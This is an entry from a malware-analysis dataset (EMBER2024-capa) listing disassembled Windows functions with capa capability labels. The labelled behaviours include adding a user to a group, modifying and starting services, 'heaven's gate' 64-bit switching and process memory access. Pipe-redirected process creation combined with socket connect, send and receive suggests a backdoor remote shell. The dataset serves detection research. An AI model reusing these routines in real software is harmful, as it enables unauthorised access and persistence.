joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d2b8
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 8
pop ecx
lea edi, [ebp - 0x20]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [esi]
xor edi, edi
mov dword [ebp - 0x20], eax
inc ebx
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0x10201
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x40d333
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.00410a8c
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.00405feb
test esi, esi
jne 0x40d333
mov eax, ebx
jmp 0x40d335
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40d33c
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40d3a2
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40d377
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40d3a1
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x40d393
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x40d3a8
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40d427
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40d3e3
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40d426
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x40d415
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x40d418
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40d418
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x40d8fb
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
xor eax, eax
mov esi, ecx
push 5
push str.ServicesActive
push eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x40d9dc
lea eax, [esi + 0x28]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xc], ecx
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
push ecx
push 3
push 0x30
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00406045
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push edi
push 3
push 0x30
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x40d999
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40d9dc
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x40d9dc
mov ebx, edi
cmp dword [ebx], 0
je 0x40d9dc
push dword [ebx]
lea ecx, [ebp - 8]
call fcn.004036f7
push dword [ebp - 0x1c]
lea ecx, [ebp - 8]
call fcn.0040335a
test eax, eax
jne 0x40d9f0
mov ecx, dword [ebp - 8]
call fcn.00405feb
and dword [ebp - 8], 0
add ebx, 0x2c
inc esi
cmp esi, dword [ebp - 4]
jb 0x40d9a9
and dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x14]
call fcn.00405feb
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret
imul esi, esi, 0x2c
lea ecx, [ebp - 0x18]
push dword [esi + edi]
call fcn.004036f7
push eax
lea ecx, [ebp - 0x14]
call fcn.00403549
mov ecx, dword [ebp - 0x18]
call fcn.00405feb
mov ebx, dword [ebp - 0x28]
mov eax, dword [esi + edi + 0x24]
mov ecx, dword [ebp - 8]
and dword [ebp - 0x18], 0
mov dword [ebx + 0x2c], eax
call fcn.00405feb
and dword [ebp - 8], 0
cmp dword [ebx + 0x2c], 0
jne 0x40da70
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x20], ebx
je 0x40d9dc
mov esi, dword [ebp - 0x1c]
push 2
push esi
call fcn.0040d33c
push esi
call fcn.0040d3a8
push edi
mov dword [ebp - 0x20], ebx
call fcn.00401099
pop ecx
push 5
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x40d93f
jmp 0x40d9dc
mov ecx, dword [ebp - 4]
xor esi, esi
test ecx, ecx
je 0x40d9e0
cmp dword [edi], 0
je 0x40d9e0
mov eax, dword [edi + 0x24]
cmp eax, dword [ebx + 0x2c]
jne 0x40dac9
push dword [edi]
lea ecx, [ebp - 8]
call fcn.004036f7
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40daba
push ecx
mov ecx, esp
push dword [edi]
call fcn.004036f7
lea ecx, [ebx + 0x44]
call fcn.0040221a
mov ecx, dword [ebp - 8]
call fcn.00405feb
and dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x40da7d
jmp 0x40d9e0
Function at 0x40ee24
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
mov dword [ebp - 8], 0x426970
push esi
xor esi, esi
mov dword [ebp - 0xc], esi
mov ecx, dword [ebx + 4]
push edi
mov edi, edx
mov eax, dword [ecx]
sub eax, esi
je 0x40eefe
sub eax, 1
je 0x40ee9f
dec eax
sub eax, 1
je 0x40eebb
sub eax, 3
jne 0x40ef6c
mov eax, dword [edi + 4]
cmp dword [eax], esi
jne 0x40eebb
cmp dword [ebx], esi
je 0x40ee80
mov eax, dword [ecx + 4]
push esi
push esi
push dword [ebx]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x40ef6c
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebx + 4]
push dword [ebp + 8]
push dword [edi]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
jmp 0x40ef6c
mov eax, dword [edi + 4]
cmp dword [eax], esi
jne 0x40eebb
mov eax, dword [ecx + 4]
push esi
push dword [ebp + 8]
push dword [edi]
push dword [ebx]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x40ee98
push dword [ebp + 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40ef6c
push dword [ebp + 8]
mov edx, edi
lea ecx, [ebp - 0xc]
call fcn.0040ee24
pop ecx
test eax, eax
je 0x40eef3
push dword [ebp + 8]
lea edx, [ebp - 0xc]
mov ecx, ebx
call fcn.0040ee24
pop ecx
mov esi, eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40ef6c
mov ecx, dword [edi + 4]
mov eax, dword [ecx]
sub eax, esi
je 0x40ef5a
sub eax, 1
je 0x40ef42
sub eax, 5
jne 0x40ef6c
mov eax, dword [ecx + 4]
push esi
push esi
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x40ef6c
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [edi + 4]
push dword [ebp + 8]
push dword [ebx]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x40ee98
mov eax, dword [ecx + 4]
push esi
push dword [ebp + 8]
push dword [ebx]
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x40ee98
push dword [ebp + 8]
push dword [edi]
push dword [ebx]
call fcn.0040102c
xor esi, esi
add esp, 0xc
inc esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40f073
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x40f086
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x40f29d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push ebx
push esi
push edi
call fcn.0040f541
xor ecx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], edx
cmp eax, ecx
jne 0x40f2c2
cmp edx, ecx
je 0x40f538
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call 0x40f2d8
add dword [esp], 5
retf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f567
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5cc
cmp dword [0x42697c], 0
push ebx
push esi
push edi
je 0x40f7be
call fcn.0040f7de
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x40f596
test edx, edx
je 0x40f5e5
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0x33
call 0x40f5a3
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x1e8]
lea eax, [ebp - 0x5c8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1e4]
test ecx, ecx
jne 0x40f602
test eax, eax
je 0x40f651
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x40f60f
add dword [esp], 5
retf
mov esi, dword [ebp - 0x5b0]
lea eax, [ebp - 0x160]
mov ebx, dword [ebp - 0x5ac]
mov dword [ebp - 4], eax
test esi, esi
jne 0x40f66e
test ebx, ebx
je 0x40f6c9
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], ebx
push 0x33
call 0x40f67b
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x150]
lea edx, [ebp - 0x108]
mov eax, dword [ebp - 0x14c]
add esi, 0x10
mov dword [ebp - 0x1c], esi
adc ebx, 0
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x14], edx
test ecx, ecx
jne 0x40f6fe
test eax, eax
je 0x40f753
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
push 0x33
call 0x40f70b
add dword [esp], 5
retf
movzx eax, word [ebp - 0xae]
push eax
call fcn.00401085
mov dword [ebp - 4], eax
pop ecx
test eax, eax
je 0x40f7be
push dword [ebp - 0xa4]
movzx edx, word [ebp - 0xae]
lea ecx, [ebp - 4]
push dword [ebp - 0xa8]
mov dword [ebp - 0x10], ecx
mov ecx, eax
mov byte [ebp - 0xc], 1
call fcn.0040f8a8
mov edx, dword [ebp - 4]
pop ecx
pop ecx
call fcn.0040fa83
lea ecx, [ebp - 0x10]
test eax, eax
je 0x40f7c7
call fcn.004022e8
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp - 0x104]
cmp ecx, esi
jne 0x40f6f6
cmp eax, ebx
jne 0x40f6f6
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [ebp - 0xd8]
mov esi, dword [ebp - 0xd4]
call fcn.004022e8
mov eax, edi
mov edx, esi
jmp 0x40f7c2

Function at 0x40f7de
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x40f7f5
add dword [esp], 5
retf

Function at 0x40f81c
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push ebx
push esi
push edi
test ecx, ecx
jne 0x40f845
test eax, eax
jne 0x40f845
xor al, al
jmp 0x40f8a3
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call 0x40f856
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f8a8
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push ebx
push esi
push edi
test ecx, ecx
je 0x40f91a
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x40f8c9
test eax, eax
je 0x40f91a
test edx, edx
je 0x40f91a
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x40f8da
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40f91f
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x42697c], 0
push ebx
push esi
push edi
jne 0x40f93a
xor eax, eax
xor edx, edx
jmp 0x40fa7e
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test ecx, ecx
jle 0x40f959
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0x10], eax
jmp 0x40f961
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
test ecx, ecx
jle 0x40f97a
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x18], eax
jmp 0x40f982
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test ecx, ecx
jle 0x40f99b
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x20], eax
jmp 0x40f9a3
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
test ecx, ecx
jle 0x40f9bc
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x28], eax
jmp 0x40f9c4
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, ecx
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call 0x40f9ff
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fdb0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00401052
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x44
push eax
push esi
push esi
push 0x10
push 1
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x28], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40fe15
mov eax, dword [ebp - 0x10]
inc esi
mov dword [0x42660c], eax
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov eax, esi
pop esi
leave
ret 0x10
Function at 0x40ffa8
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x14]
cmp dword [edi], 0
je 0x40fff3
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [esi + 0x18]
je 0x40ffec
cmp dword [esi + 0x10], 0
je 0x410017
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1388
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40ffec
push 0xfffffffffffffffe
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, edi
call fcn.004101ab
lea ecx, [esi + 0x10]
call fcn.004101ab
lea ecx, [esi + 4]
call fcn.004101ab
lea ecx, [esi + 0xc]
call fcn.004101ab
lea ecx, [esi + 8]
call fcn.004101ab
and dword [esi + 0x18], 0
pop edi
pop esi
ret

Function at 0x41001a
Capabilities:
Create pipe
Create thread
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov ecx, 0x426608
call fcn.0040ffa8
and dword [ebp - 8], 0
lea eax, [ebp - 0x20]
and dword [ebp - 0xc], 0
xor esi, esi
and dword [ebp - 4], 0
inc esi
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
push 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x20], 0xc
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x410166
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0xc]
push 2
push esi
push 0
push eax
call edi
push eax
push dword [ebp - 4]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push eax
call ebx
test eax, eax
je 0x410166
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x410166
push 2
push 0
push 0
push 0x426610
call edi
push eax
push dword [ebp - 8]
call edi
push eax
call ebx
test eax, eax
je 0x410166
push 2
push 0
push 0
push 0x426614
call edi
push eax
push dword [ebp - 0x10]
call edi
push eax
call ebx
test eax, eax
je 0x410166
lea ecx, [ebp - 8]
call fcn.004101ab
lea ecx, [ebp - 0x10]
call fcn.004101ab
push dword [ebp - 0xc]
lea eax, [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 4]
push ecx
mov ecx, esp
push eax
call fcn.0040373f
call fcn.0040fdb0
test eax, eax
je 0x410166
lea ecx, [ebp - 4]
call fcn.004101ab
lea ecx, [ebp - 0x14]
call fcn.004101ab
lea ecx, [ebp - 0xc]
call fcn.004101ab
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x426620
push 0
push 0x426608
push 0x40fe49
push 0
push 0
mov dword [0x426618], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42661c], eax
test eax, eax
jne 0x41019a
lea ecx, [ebp - 8]
call fcn.004101ab
lea ecx, [ebp - 4]
call fcn.004101ab
lea ecx, [ebp - 0xc]
call fcn.004101ab
lea ecx, [ebp - 0x10]
call fcn.004101ab
lea ecx, [ebp - 0x14]
call fcn.004101ab
mov ecx, 0x426608
call fcn.0040ffa8
xor esi, esi
mov ecx, dword [ebp + 8]
call fcn.00405feb
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x4103b9
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
push 6
xor eax, eax
mov edi, edx
inc eax
mov esi, ecx
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
push esi
mov ebx, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
movsx ecx, word [eax + 0xa]
push ecx
mov ecx, dword [eax + 0xc]
lea eax, [ebp - 0xc]
push dword [ecx]
push eax
call fcn.0040102c
add esp, 0xc
push 2
pop eax
push edi
mov word [ebp - 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
mov esi, 0x802
mov word [ebp - 0xe], ax
push esi
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_InetNtopW]
cmp byte [0x426755], 0
jne 0x410467
xor esi, esi
inc esi
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
movzx ecx, byte [0x426755]
cmp eax, 0xffffffff
cmovne ecx, esi
mov byte [0x426755], cl
test cl, cl
je 0x410443
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4106f9
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [0x559cac]
push esi
push edi
push 0x2000
mov esi, edx
call fcn.00401085
mov edi, eax
lea eax, [ebp + 0xc]
push 4
push eax
push edi
call fcn.0040102c
push 4
lea eax, [ebp + 8]
push eax
lea eax, [edi + 4]
push eax
call fcn.0040102c
push dword [ebp + 8]
lea eax, [edi + 8]
push esi
push eax
call fcn.0040102c
mov eax, dword [ebp + 8]
add esp, 0x28
add eax, 8
push 0
push eax
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
push edi
call fcn.00401099
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41075c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x559cac]
push ebx
push esi
push edi
mov esi, 0x2000
mov dword [ebp - 0xc], eax
push esi
call fcn.00401085
push esi
mov dword [ebp - 4], eax
call fcn.00401085
mov esi, dword [ebp + 8]
mov ebx, eax
and dword [ebp - 0x10], 0
mov edi, esi
and dword [ebp - 8], 0
xor eax, eax
pop ecx
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
push 0
push 8
pop eax
sub eax, edi
push eax
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x41084d
cmp eax, 0xffffffff
je 0x41084d
mov ecx, dword [ebp - 4]
push eax
add ecx, edi
push ebx
push ecx
call fcn.0040102c
add edi, dword [ebp + 8]
add esp, 0xc
cmp edi, 8
jl 0x410799
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x10]
push 4
push edi
push eax
call fcn.0040102c
push 4
lea eax, [edi + 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.0040102c
mov eax, dword [ebp - 8]
add esp, 0x18
xor edi, edi
test eax, eax
jle 0x410836
push 0
sub eax, edi
push eax
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x41084d
cmp eax, 0xffffffff
je 0x41084d
mov ecx, dword [ebp - 4]
push eax
add ecx, edi
push ebx
push ecx
call fcn.0040102c
add edi, dword [ebp + 8]
add esp, 0xc
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x410801
mov ecx, dword [ebp - 0x10]
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
push ebx
mov dword [esi], ecx
mov dword [esi + 8], eax
call fcn.00401099
pop ecx
jmp 0x410854
mov byte [0x426755], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x41085b
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
push edi
push 6
push 1
push 0x17
pop eax
push eax
mov di, dx
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 0x17
mov ebx, eax
pop eax
push 0x10
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.0040102c
add esp, 0xc
mov word [ebp - 0x1a], di
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4108d5
mov esi, 0x802
lea eax, [ebp - 0x820]
push esi
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x820]
push esi
push eax
lea eax, [ebp - 0x14]
push eax
push 0x17
pop eax
push eax
call dword [sym.imp.WS2_32.dll_InetNtopW]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret